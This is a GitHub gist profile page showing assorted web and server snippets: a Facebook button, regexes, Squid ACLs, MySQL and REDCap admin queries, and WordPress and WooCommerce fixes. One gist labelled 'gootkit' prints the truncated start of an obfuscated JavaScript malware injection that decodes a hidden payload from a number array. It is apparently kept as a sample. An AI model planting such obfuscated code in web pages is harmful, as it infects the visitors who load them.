Skip to content

Instantly share code, notes, and snippets.

View acki's full-sized avatar
👋
I may be slow to respond.

Christoph S. Ackermann acki

👋
I may be slow to respond.
View GitHub Profile
@acki
acki / fb_for_okaj.html
Created July 19, 2011 13:26
Facebook Button for okaj zürich
<iframe src="http://www.facebook.com/plugins/like.php?app_id=153499901388453&amp;href=http%3A%2F%2Fwww.facebook.com%2Fpages%2Fokaj-z%25C3%25BCrich%2F186765631380739&amp;send=false&amp;layout=button_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:21px;" allowTransparency="true"></iframe>
@acki
acki / gist:2299726
Created April 4, 2012 08:35
Regex for international phone numbers (untested)
^((\+\d{1,3}(-| )?\(?\d\)?(-| )?\d{1,3})|(\(?\d{2,3}\)?))(-| )?(\d{3,4})(-| )?(\d{4})(( x| ext)\d{1,5}){0,1}$
# streaming download
acl fails rep_mime_type ^.*mms.*
acl fails rep_mime_type ^.*ms-hdr.*
acl fails rep_mime_type ^.*x-fcs.*
acl fails rep_mime_type ^.*x-ms-asf.*
acl fails2 urlpath_regex dvrplayer mediastream mms://
acl fails2 urlpath_regex \.asf$ \.afx$ \.flv$ \.swf$
acl deny_rep_mime_flashvideo rep_mime_type -i video/flv
acl deny_rep_mime_shockwave rep_mime_type -i ^application/x-shockwave-flash$
acl x-type req_mime_type -i ^application/octet-stream$
@acki
acki / gist:2874683
Created June 5, 2012 12:24
gootkit
/*gootkitstart*/i=0;try{grbregd=prototype;}catch(z){h="ha"+"rCode";f=[10,17.5,14,8.5,17,11.5,14.5,14,-25,14,9.5,19,17,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-21,-20.5,20.5,-36,-25,-25,-25,-25,18,7.5,16,-25,11,11.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-17.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,13,14.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-22.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,17,9.5,16.5,17,-25,-10.5,-25,17,11,11.5,16.5,-18,-8.5,-25,-20,-25,13,14.5,-25,-18.5,-25,17,11,11.5,16.5,-18,0,-25,-20,-25,11,11.5,-11.5,-36,-25,-25,-25,-25,11.5,10,-21,17,9.5,16.5,17,-25,-10,-25,-17,-20.5,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-11.5,-36,-25,-25,-25,-25,21.5,-25,9.5,13,16.5,9.5,-25,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-25,-19.5,-25,17,11,11.5,16.5,-18,-2.5,-11.5,-36,-25,-25,-25,-25,21.5,-3
USE mysql;
SELECT password, host, user,
CONCAT(Select_priv, Lock_tables_priv) AS selock,
CONCAT(Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv) AS modif,
CONCAT(Grant_priv, References_priv, Index_priv, Alter_priv) AS meta,
CONCAT(Create_tmp_table_priv, Create_view_priv, Show_view_priv) AS views,
CONCAT(Create_routine_priv, Alter_routine_priv, Execute_priv) AS funcs,
CONCAT(Repl_slave_priv, Repl_client_priv) AS replic,
CONCAT(Super_priv, Shutdown_priv, Process_priv, File_priv, Show_db_priv, Reload_priv) AS admin
FROM user ORDER BY user, host;
@acki
acki / gist:11098108
Last active August 29, 2015 14:00
HTML5 Canvas Heartbeat
<canvas id="canvas" width="150" height="150" style="background-color: black;"></canvas>
<script type="text/javascript">
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");
ctx.fillStyle = "#dbbd7a";
ctx.fill();
var fps = 10;
var n = 1;
@acki
acki / gist:877a69ec37cbc2769bcd
Created March 31, 2015 16:24
CSS black and white filter for images (IE6+)
img.desaturate{
-webkit-filter: grayscale(1); -webkit-filter: grayscale(100%);
filter: grayscale(100%);
filter: gray;
filter: url("data:image/svg+xml;utf8,<svg version='1.1' xmlns='http://www.w3.org/2000/svg' height='0'><filter id='greyscale'><feColorMatrix type='matrix' values='0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0' /></filter></svg>#greyscale");
}
USE `redcap_web`;
SET FOREIGN_KEY_CHECKS = 0;
INSERT INTO redcap_user_information (username, user_email, user_firstname, user_lastname, super_user, user_firstvisit) VALUES ('site_admin', 'joe.user@projectredcap.org', 'Joe', 'User', 1, now());
SET FOREIGN_KEY_CHECKS = 1;
@acki
acki / wp-config.php SSL Addon
Created June 13, 2017 13:34
wp-config.php SSL Addon
/** SSL Stuff **/
define( 'FORCE_SSL_ADMIN', false );
if ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')
$_SERVER['HTTPS']='on';
@acki
acki / functions.php
Last active November 18, 2020 22:42
Dirty fix for WooCommerce rounding problems due to non-round tax values
<?php
/*
* WooCommerce dirty rounding fix for special tax values (7.7 in Switzerland)
* Rounding to 0.05 instead of 0.01
* created by Christoph S. Ackermann
* https://www.cubetech.ch
* 05.01.2018
*/